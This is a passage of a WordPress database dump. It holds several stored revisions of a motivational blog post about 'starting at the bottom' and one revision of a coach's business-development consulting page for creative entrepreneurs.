game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\n\n<strong>You will suck at first.</strong>\n\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\n\n<strong>Ideas take their own sweet time to come into form.</strong>\n\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\n\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\n\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision-2', '', '', '2012-05-07 09:45:22', '2012-05-07 16:45:22', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision-2/', 0, 'revision', '', 0),
(2066, 2, '2012-05-07 09:45:59', '2012-05-07 16:45:59', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\r\n<h1><span style="color: #808080;">Creative people running their own businesses are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many are very clear about what they want, yet the “how to do it” part remains elusive.</span></h1>\r\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\r\n\r\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\r\n\r\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\r\n\r\nEvery great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!\r\n\r\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\r\n\r\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\r\n\r\n<strong>Every accomplishment begins in the mind.</strong>\r\n\r\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\r\n\r\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\r\n\r\n<strong>Start small, really small.</strong>\r\n\r\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\r\n\r\n<strong>You will suck at first.</strong>\r\n\r\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\r\n\r\n<strong>Ideas take their own sweet time to come into form.</strong>\r\n\r\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\r\n\r\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\r\n\r\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision-3', '', '', '2012-05-07 09:45:59', '2012-05-07 16:45:59', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision-3/', 0, 'revision', '', 0);
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(2067, 2, '2012-05-07 09:46:13', '2012-05-07 16:46:13', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\r\n<h1><span style="color: #808080;">Creative people running their own businesses are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many are very clear about what they want, yet the “how to do it” part remains elusive.</span></h1>\r\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\r\n\r\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\r\n\r\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\r\n\r\nEvery great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!\r\n\r\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\r\n\r\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\r\n\r\n<strong>Every accomplishment begins in the mind.</strong>\r\n\r\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\r\n\r\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\r\n\r\n<strong>Start small, really small.</strong>\r\n\r\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\r\n\r\n<strong>You will suck at first.</strong>\r\n\r\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\r\n\r\n<strong>Ideas take their own sweet time to come into form.</strong>\r\n\r\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\r\n\r\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\r\n\r\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision-4', '', '', '2012-05-07 09:46:13', '2012-05-07 16:46:13', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision-4/', 0, 'revision', '', 0),
(2068, 2, '2012-05-07 09:50:49', '2012-05-07 16:50:49', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\n<h1><span style="color: #808080;">Creative people running their own businesses are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many are very clear about what they want, yet the “how to do it” part remains elusive.</span></h1>\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\n\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\n\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\n<h2>Every great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!</h2>\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\n\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\n\n<strong>Every accomplishment begins in the mind.</strong>\n\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\n\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\n\n<strong>Start small, really small.</strong>\n\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\n\n<strong>You will suck at first.</strong>\n\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\n\n<strong>Ideas take their own sweet time to come into form.</strong>\n\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\n\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\n\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision-5', '', '', '2012-05-07 09:50:49', '2012-05-07 16:50:49', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision-5/', 0, 'revision', '', 0),
(2070, 2, '2012-05-07 09:52:16', '2012-05-07 16:52:16', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\r\n<h1><span style="color: #808080;">Creative people running their own business are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many know what they want, yet the “how to do it” part remains elusive.</span></h1>\r\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\r\n\r\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\r\n\r\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\r\n<h2>Every great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!</h2>\r\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\r\n\r\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\r\n\r\n<strong>Every accomplishment begins in the mind.</strong>\r\n\r\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\r\n\r\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\r\n\r\n<strong>Start small, really small.</strong>\r\n\r\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\r\n\r\n<strong>You will suck at first.</strong>\r\n\r\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\r\n\r\n<strong>Ideas take their own sweet time to come into form.</strong>\r\n\r\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\r\n\r\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\r\n\r\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision-7', '', '', '2012-05-07 09:52:16', '2012-05-07 16:52:16', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision-7/', 0, 'revision', '', 0),
(2069, 2, '2012-05-07 09:51:41', '2012-05-07 16:51:41', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\r\n<h1><span style="color: #808080;">Creative people running their own businesses are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many know what they want, yet the “how to do it” part remains elusive.</span></h1>\r\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\r\n\r\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\r\n\r\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\r\n<h2>Every great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!</h2>\r\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\r\n\r\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\r\n\r\n<strong>Every accomplishment begins in the mind.</strong>\r\n\r\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\r\n\r\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\r\n\r\n<strong>Start small, really small.</strong>\r\n\r\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\r\n\r\n<strong>You will suck at first.</strong>\r\n\r\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\r\n\r\n<strong>Ideas take their own sweet time to come into form.</strong>\r\n\r\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\r\n\r\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\r\n\r\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision-6', '', '', '2012-05-07 09:51:41', '2012-05-07 16:51:41', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision-6/', 0, 'revision', '', 0),
(2071, 2, '2012-05-07 09:52:31', '2012-05-07 16:52:31', '<img class="alignnone size-full wp-image-2063" title="theclimb" src="http://whc.fbdev.org/wp-content/uploads/2012/05/theclimb.jpg" alt="" width="490" height="268" />\r\n<h1><span style="color: #808080;">Creative people running their own business are always looking for useful advice and ideas about getting from where they are now to some elevated place where they want to be. Many know what they want, yet the “how to do it” part remains elusive.</span></h1>\r\nAccomplishment has no silver bullets. Getting things done and making things happen isn’t magic, it’s work–actually it’s great work! I’m sure you’ll agree nothing is more satisfying and fulfilling than turning possibilities into achievement.  The questions I get asked often are “how do I make it happen?” and “where do I start?”\r\n\r\nWhat they really want to know is “how can I start at the top and work up from there?” Few are willing to start something at the bottom. Everybody wants a shortcut to the top.\r\n\r\nDon’t get me wrong, if you find a shortcut–a faster, better, cheaper way to accomplishing your goal, by all means go for it. There are many shortcuts on the road to your success.  The important thing one must understand about shortcuts (better ways to get things done) is they are only made available to you AFTER you start at the bottom.\r\n<h2>Every great accomplishment starts at the bottom. The bottom being the place where you have no prior skill, knowledge or experience. Every accomplishment begins with your willingness and acceptance of being at the bottom–unaccomplished!</h2>\r\nHaving to face being at the bottom is one reason why many people won’t make it to the top. They never gave themselves a fair shot because they don’t want to risk failure and they don’t like feeling unaccomplished. It’s more comfortable to stay where they are even if that means staying stuck wondering what to do next.\r\n\r\nThere is no formula for moving forward toward an accomplishment you desire.  You just begin at the bottom and don’t worry too much about the “how”.\r\n\r\n<strong>Every accomplishment begins in the mind.</strong>\r\n\r\nI’ve written many times and it’s worth repeating–everything that ever was, is now or will ever be begins as a formless thought in the mind.  I’m confident you have been thinking about lots of ideas to move yourself forward particularly in your business.  Regardless of the amount of ideas you are thinking about, follow one that has lots of creative juice for you, then forgot about the others (for now).\r\n\r\nAccomplishment is really nothing more than the art of sacrifice. You make a decision to go “all in” on one idea at the exclusion of all other alternatives. This level of mental focus builds energy and energy is motion–motion is progress.\r\n\r\n<strong>Start small, really small.</strong>\r\n\r\nOnce you’ve made a decision to focus on accomplishing a single idea, it can be tempting to take big swings at making things happen at the beginning. In my own experience, I’ve found it more useful to take really small incremental moves toward something I’d like to accomplish. It’s easier to “digest” a small task rather than attempt a big stretch early in game. Allow yourself to get your “legs” first, build your confidence bit by bit.  You’ll be amazed at how much gets accomplished in small bits over time. And when it feels right to you, go ahead and stretch yourself.\r\n\r\n<strong>You will suck at first.</strong>\r\n\r\nWhen I made the decision to become a writer and teacher, I sucked at it. I was at the bottom with no clear idea of who my writing would serve and if anyone cared that much about what I had to say. But I cared!  I cared enough to start this blog and play around with the “writer idea” in little pieces. Slowly, very slowly over time, my writing helped me focus on what mattered to me and who I could serve through my writing.  My writing improved and now I have a bit more confidence. Every time I receive another blog subscriber notice in my email, my confidence grows stronger and I keep learning to be better.  Go ahead and suck!\r\n\r\n<strong>Ideas take their own sweet time to come into form.</strong>\r\n\r\nUnlike predictable gestation periods for living organisms, ideas take their own sweet time coming into form. There’s simply no way to know with certainty how long accomplishing anything will take.  There are three attributes inherent in any accomplishment: patience, persistence, and time. The first requires unbending faith, the second repeated action, and finally the last element takes what it takes. The good news is you’re in control of two out of three of those attributes. Not bad odds.\r\n\r\n<strong>Think of the bottom as the foundation of the bigger future.</strong>\r\n\r\nAnything worth accomplishing is worth placing on a strong foundation. Think of starting at the bottom as your foundation for a bigger future. At the bottom, you will discover the value of focused energy, faith, action and trust in yourself. Build your accomplishments on those foundational elements and you’ll be absolutely astonished at your progress.', 'The importance of starting at the bottom.', 0, '', 'inherit', 'open', 'open', '', '2062-revision-8', '', '', '2012-05-07 09:52:31', '2012-05-07 16:52:31', '', 2062, 'http://www.whitehotcenter.com/2012/05/2062-revision-8/', 0, 'revision', '', 0),
(2072, 2, '2012-03-05 12:22:35', '2012-03-05 19:22:35', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;">Start the burn!</span></span><strong></strong></h1>\r\nWhy work with me?\r\n\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different.\r\n\r\nFor nearly 30 years, as a creative entrepreneur and design professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for creative types. I know the challenges involved selling in your ideas and developing proposals that win business. I know the pressure of meeting a payroll every week too.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\nHere’s my two-word answer: clarity and confidence.\r\n\r\nYou don’t want a consultant. You want clarity to lock onto a big vision for your future, and the confidence to pursue it with passion and discipline. I can help you get “there” by keeping you in the right frame of mind now to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><span style="color: #ff6600;">Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n<p style="color: #ff6600;"><span style="color: #ff6600;">I am looking forward to working with you.</span></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2012-03-05 12:22:35', '2012-03-05 19:22:35', '', 138, 'http://www.whitehotcenter.com/2012/03/138-revision-178/', 0, 'revision', '', 0),
